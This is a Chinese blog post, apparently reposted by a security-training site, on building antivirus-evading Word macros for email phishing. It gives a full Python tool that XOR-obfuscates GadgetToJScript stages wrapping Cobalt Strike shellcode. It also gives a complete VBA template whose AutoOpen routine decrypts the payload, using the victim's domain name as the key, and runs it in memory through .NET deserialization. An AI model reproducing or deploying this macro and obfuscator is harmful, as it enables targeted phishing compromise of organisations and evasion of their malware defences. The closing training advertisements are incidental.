【思路详解】邮件攻防之宏免杀姿势

admin 2022年3月4日20:17:43评论170 views字数 10846阅读36分9秒阅读模式

【思路详解】邮件攻防之宏免杀姿势

网安教育

培养网络安全人才

技术交流、学习咨询

众所周知,一般恶意样本或方法只要一公开就会被安全厂商分析,所以免杀不是绝对的,重点不在免杀而是思路

python真香, 能快速实现你想实现的想法

免杀测试过程:

对GadgetToJScript 生成的payload 直接贴入word文档 ,发现被杀

删除部分base64 编码过的字节码,发现不会被杀,说明是base64字节码部分被杀

写工具对base64 编码部分进行xor 混淆, key字段取当前环境中环境变量特定的值作为解密key,一般环境是没有该环境变量

0x01 cobaltstrike 生成csharp shellcode

0x02 使用shellcode加载器:

csharp launcher

0x03 使用GadgetToJScript 生成vba

为什么用GadgetToJScript ? 反射执行,无文件落地,不用执行命令

1.net 3.5
2.GadgetToJScript.NET3.5.exe -r -w vba -e b64 -c ".Class1.cs-o test4
3
4.net 4.x
5.GadgetToJScript.NET4.x.exe -b -r -w vba -e b64 -c ".Class1.cs-o test5

0x04 对GadgetToJScript 生成的payload stage部分进行xor处理

生成处理后的vba

1python3 vbaxor.py --vba payloads.vba --key wolvez.com

说明: 取环境变量中USERDNSDOMAIN 环境变量部分值(域环境才有该值)作xor 加密key

如环境变量中 USERDNSDOMAIN 值 cn1.global.alibaba.com ,取alibaba.com 字符串作key,实际位置可以在模板文件中调整

  1# -*- coding: UTF-8 -*-
 2from string import Template
 3import os
 4import base64
 5import re
 6import argparse
 7
 8def xor_encrypt(tips, key):
 9    ltips = len(tips)
10    lkey = len(key)
11    secret = []
12    num = 0
13    for each in tips:
14        if num >= lkey:
15            num = num % lkey
16        secret.append(chr(ord(each) ^ ord(key[num])))
17        num += 1
18    return base64.b64encode("".join(secret).encode("utf-8")).decode()
19
20def color(string, color=None):
21
22    attr = []
23    # bold
24    attr.append('1')
25
26    if color:
27        if color.lower() == "red":
28            attr.append('31')
29        elif color.lower() == "green":
30            attr.append('32')
31        elif color.lower() == "blue":
32            attr.append('34')
33        return 'x1b[%sm%sx1b[0m' % (';'.join(attr), string)
34
35    else:
36        if string.strip().startswith("[!]"):
37            attr.append('31')
38            return 'x1b[%sm%sx1b[0m' % (';'.join(attr), string)
39        elif string.strip().startswith("[+]"):
40            attr.append('32')
41            return 'x1b[%sm%sx1b[0m' % (';'.join(attr), string)
42        elif string.strip().startswith("[?]"):
43            attr.append('33')
44            return 'x1b[%sm%sx1b[0m' % (';'.join(attr), string)
45        elif string.strip().startswith("[*]"):
46            attr.append('34')
47            return 'x1b[%sm%sx1b[0m' % (';'.join(attr), string)
48        else:
49            return string
50
51
52def convertFromTemplate(parameters, templateFile):
53    try:
54        with open(templateFile) as f:
55            src = Template(f.read())
56            result = src.substitute(parameters)
57            f.close()
58            return result
59    except IOError:
60        print(color("[!] Could not open or read template file [{}]".format(templateFile)))
61        return None
62
63
64
65## 获取GadgetToJScript 生成的vba文件
66'''
67.GadgetToJScript.NET4.x.exe  -b -r -w vba -e b64 -c ".Class1.cs" -o test5
68'''

69
70
71
72# 获取base64字符串
73def getbase64(vbafile,key):
74    global stage_xor1
75    global stage_xor2
76    f = open(vbafile, "rb")
77    lines = f.read()
78    vbaContent = lines.decode()
79
80    # 获取 stage_1 base64值
81    stage_1 = ''
82    pattern = r'(?P<name>stage_1)s*=s*((?P=name)s*&s*)?"(?P<payload>[^"]+)"'
83    result = re.findall(pattern, vbaContent)
84    for r in result:
85        stage_1 += r[-1]
86
87    # 获取 stage_2 base64 值
88
89    stage_2 = ''
90    pattern2 = r'(?P<name>stage_2)s*=s*((?P=name)s*&s*)?"(?P<payload>[^"]+)"'
91    result2 = re.findall(pattern2, vbaContent)
92    for r1 in result2:
93        stage_2 += r1[-1]
94
95    #print(stage_2)
96    # 对stage_1 进行xor 混淆
97    # vba 取环境变量:
98    # myEnv = Environ("USERDNSDOMAIN")
99    # myEnv = Right(myEnv, 9)
100    # key = target.com
101    # cmd: echo %USERDNSDOMAIN%
102    #key = key
103    xor_stage_1 = xor_encrypt(stage_1, key)
104    # 对 stage_2 进行 xor混淆
105    xor_stage_2 = xor_encrypt(stage_2, key)
106
107    # 重组混淆过后的stage_1 字符串
108
109    num = 0
110    new_xor_stage_1 = ''
111    stage_xor1 = ''
112
113    new_xor_stage_1 = re.findall(r'.{,100}', xor_stage_1)
114    new_xor_stage_1 = 'n'.join(new_xor_stage_1)
115
116    for newline in new_xor_stage_1.split('n'):
117        if len(newline):
118            num += 1
119            if num == 1:
120                stage_xor1 += 'stage_1 = "' + newline + '"' + "n"
121            else:
122                stage_xor1 += ' stage_1 = stage_1 & "' + newline + '"' + "n"
123
124    # 重组混淆后的 stage_2 字符串
125
126    num2 = 0
127    new_xor_stage_2 = ''
128    stage_xor2 = ''
129
130    new_xor_stage_2 = re.findall(r'.{,100}', xor_stage_2)
131    new_xor_stage_2 = 'n'.join(new_xor_stage_2)
132
133    for newline2 in new_xor_stage_2.split('n'):
134        if len(newline2):
135            num2 += 1
136            if num2 == 1:
137                stage_xor2 += 'stage_2 = "' + newline2 + '"' + "n"
138            else:
139                stage_xor2 += ' stage_2 = stage_2 & "' + newline2 + '"' + "n"
140
141
142
143def writeVBA(resultfile):
144    template = './templates.vba'
145    result = convertFromTemplate({'stage_xor1': stage_xor1, 'stage_xor2': stage_xor2}, template)
146    if result != None:
147        try:
148           fileName = resultfile
149            with open(fileName, "w+"as f:
150                f.write(result)
151                f.close()
152                print(color("[+] VBA code file saved in [{}]".format(fileName)))
153
154        except IOError:
155            print(color("[!] Could not write VBA code  [{}]".format(fileName)))
156
157
158if __name__ == '__main__':
159    parser = argparse.ArgumentParser(description="VBA XOR encrypt version 1.0 by wolvez",
160                                 epilog='Example :n1. .GadgetToJScript.NET4.x.exe  -b -r -w vba -e b64 -c ".Class1.cs" -o testn2. vbaxor.py --vba test.vba -o serialize.vba')
161    parser = argparse.ArgumentParser()
162    parser.add_argument("--vba", help="input vba file", required=True)
163    parser.add_argument("--key", help="Victim System environment variables ", required=True)
164    parser.add_argument("--out-file"'-o', dest='outfile',default='./serialize.vba', help="output vba file")
165    args = parser.parse_args()
166    vba = args.vba
167    key = args.key
168    outfile = args.outfile
169    getbase64(vba, key)
170    writeVBA(outfile)

0x05 模板文件

  1Function XorC(ByVal sData As StringByVal sKey As String) As String
 2
 3    Dim l As Long, i As Long, byIn() As Byte, byOut() As Byte, byKey() As Byte
 4    Dim bEncOrDec As Boolean
 5    Dim addVal
 6
 7    If Len(sData) = 0 Or Len(sKey) = 0 Then XorC = "Invalid argument(s) used"Exit Function
 8
 9    If Left(sData, 3) = "xxx" Then
10        bEncOrDec = False 'decryption
11        sData = Mid(sData, 4)
12    Else
13        bEncOrDec = True 'encryption
14    End If
15
16    byIn = sData
17    byOut = sData
18    byKey = sKey
19
20    If bEncOrDec = True Then
21        addVal = 32
22    Else
23        addVal = 1 * -32
24    End If
25
26    l = LBound(byKey)
27
28    For i = LBound(byIn) To UBound(byIn) - 1 Step 2
29
30        If (((byIn(i) + Not bEncOrDec) Xor byKey(l)) + addVal) > 255 Then
31            byOut(i) = (((byIn(i) + Not bEncOrDec) Xor byKey(l)) + addVal) Mod 255 + addVal
32        Else
33            'If bEncOrDec Then
34            If ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - addVal < 32 Then byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) + addVal
35            If ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - addVal > 255 Then byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - addVal
36            If ((byIn(i) + Not bEncOrDec) Xor byKey(l)) > 32 And (byIn(i) + Not bEncOrDec) Xor byKey(l) < 256 Then byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l))
37        End If
38        l = l + 2
39
40        If l > UBound(byKey) Then l = LBound(byKey)
41
42    Next i
43
44    XorC = byOut
45
46    If bEncOrDec Then XorC = "xxx" & XorC 'add "xxx" onto encrypted text
47End Function
48
49
50Function myKey()
51myEnv = Environ("USERDNSDOMAIN")
52myEnv = Right(myEnv, 9)
53myKey = myEnv
54End Function
55
56Function b64Decode(ByVal enc)
57   Dim xmlObj, nodeObj
58    Set xmlObj = CreateObject("Msxml2.DOMDocument.3.0")
59    Set nodeObj = xmlObj.CreateElement("base64")
60    nodeObj.dataType = "bin.base64"
61    nodeObj.Text = enc
62    b64Decode = nodeObj.nodeTypedValue
63    Set nodeObj = Nothing
64    Set xmlObj = Nothing
65End Function
66
67Function Exec()
68
69    Dim stage_1, stage_2
70
71    ${stage_xor1}
72
73
74    ${stage_xor2}
75
76    new_stage_1 = b64Decode(stage_1)
77    Key = myKey
78    Unicode_new_stage_1 = StrConv(new_stage_1, vbUnicode)
79    de_stage_1 = XorC(Unicode_new_stage_1, Key)
80    last_stage_1 = Replace(de_stage_1, "xxx"""4)
81
82    new_stage_2 = b64Decode(stage_2)
83    Unicode_new_stage_2 = StrConv(new_stage_2, vbUnicode)
84    de_stage_2 = XorC(Unicode_new_stage_2, Key)
85    last_stage_2 = Replace(de_stage_2, "xxx"""4)
86
87    Dim stm_1 As Object, fmt_1 As Object
88
89    manifest = "<?xml version=""1.0"" encoding=""UTF-16"" standalone=""yes""?>"
90    manifest = manifest & "<assembly xmlns=""urn:schemas-microsoft-com:asm.v1"" manifestVersion=""1.0"">"
91    manifest = manifest & "<assemblyIdentity name=""mscorlib"" version=""4.0.0.0"" publicKeyToken=""B77A5C561934E089"" />"
92    manifest = manifest & "<clrClass clsid=""{D0CBA7AF-93F5-378A-BB11-2A5D9AA9C4D7}"" progid=""System.Runtime.Serialization"
93    manifest = manifest & ".Formatters.Binary.BinaryFormatter"" threadingModel=""Both"" name=""System.Runtime.Serialization.Formatters.Binary.BinaryFormatter"" "
94    manifest = manifest & "runtimeVersion=""v4.0.30319"" /><clrClass clsid=""{8D907846-455E-39A7-BD31-BC9F81468B47}"" "
95    manifest = manifest & "progid=""System.IO.MemoryStream"" threadingModel=""Both"" name=""System.IO.MemoryStream"" runtimeVersion=""v4.0.30319"" /></assembly>"
96
97
98    Set actCtx = CreateObject("Microsoft.Windows.ActCtx")
99    actCtx.ManifestText = manifest
100
101    Set stm_1 = actCtx.CreateObject("System.IO.MemoryStream")
102    Set fmt_1 = actCtx.CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")
103
104    Dim Decstage_1
105    Decstage_1 = b64Decode(last_stage_1)
106
107    For Each i In Decstage_1
108    stm_1.WriteByte i
109    Next i
110
111    On Error Resume Next
112
113    stm_1.Position = 0
114    Dim o1 As Object
115    Set o1 = fmt_1.Deserialize_2(stm_1)
116
117    If Err.Number <> 0 Then
118       Dim stm_2 As Object
119
120       Set stm_2 = actCtx.CreateObject("System.IO.MemoryStream")
121
122       Dim Decstage_2
123       Decstage_2 = b64Decode(last_stage_2)
124
125       For Each j In Decstage_2
126        stm_2.WriteByte j
127       Next j
128
129       stm_2.Position = 0
130       Dim o2 As Object
131       Set o2 = fmt_1.Deserialize_2(stm_2)
132    End If
133
134End Function
135Sub AutoOpen()
136exec
137End Sub

0x06 宏安全相关文章推荐:

宏病毒的研究与实例分析

关于宏的bypass学习

从一个野外 office 样本分析中学习 Excel 4.0 marco

恶意文档分析工具 oletools 使用说明

【思路详解】邮件攻防之宏免杀姿势

来源:WOLVEZ'S BLOG

原文链接:http://wolvez.club/2020/12/17/macro/

版权声明:著作权归作者所有。如有侵权请联系删除

开源聚合网安训练营

战疫期间,开源聚合网络安全基础班、实战班线上全面开启,学网络安全技术、升职加薪……有兴趣的可以加入开源聚合网安大家庭,一起学习、一起成长,考证书求职加分、升级加薪,有兴趣的可以咨询客服小姐姐哦!

【思路详解】邮件攻防之宏免杀姿势

加QQ(1005989737)找小姐姐私聊哦

精选文章
环境搭建
Python
学员专辑
信息收集
CNVD
安全求职
渗透实战
CVE
高薪揭秘
渗透测试工具
网络安全行业
神秘大礼包
基础教程
我们贴心备至
用户答疑
 QQ在线客服
加入社群
QQ+微信等着你

【思路详解】邮件攻防之宏免杀姿势

我就知道你“在看”
【思路详解】邮件攻防之宏免杀姿势

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月4日20:17:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【思路详解】邮件攻防之宏免杀姿势http://cn-sec.com/archives/815671.html

发表评论

匿名网友 填写信息